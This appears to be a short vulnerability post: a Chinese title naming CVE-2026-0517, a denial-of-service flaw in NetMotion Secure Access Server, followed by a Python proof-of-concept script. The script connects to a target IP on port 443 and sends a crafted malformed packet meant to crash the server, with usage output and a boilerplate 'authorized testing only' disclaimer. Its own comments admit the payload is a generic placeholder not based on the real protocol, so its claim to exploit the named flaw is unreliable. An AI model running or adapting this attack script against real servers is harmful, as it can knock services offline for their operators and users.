CVE-2026-0517 NetMotion Secure Access Server拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2026-0517 PoC - NetMotion Secure Access Server DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_malicious_packet(): """Generate a malformed packet to trigger the DoS vulnerability""" # Malformed packet structure # Adjust packet content based on actual protocol analysis packet = bytearray() # Header with malformed data packet += b'\x00\x01' # Version/Type field packet += b'\x00\x10' # Length indicator # Malformed payload designed to trigger parsing error packet += b'\x41' * 64 # Repeated pattern to overflow buffer packet += b'\x00' * 32 # Null bytes packet += b'\xFF\xFF\xFF\xFF' # Abnormal data return bytes(packet) def send_exploit(target_ip, target_port=443): """Send exploit packet to target server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) packet = create_malicious_packet() sock.send(packet) print(f'[+] Malicious packet sent to {target_ip}:{target_port}') print(f'[+] Packet size: {len(packet)} bytes') sock.close() return True except socket.error as e: print(f'[-] Connection error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 print(f'[*] CVE-2026-0517 PoC for NetMotion Secure Access Server') print(f'[*] Target: {target}:{port}') send_exploit(target, port)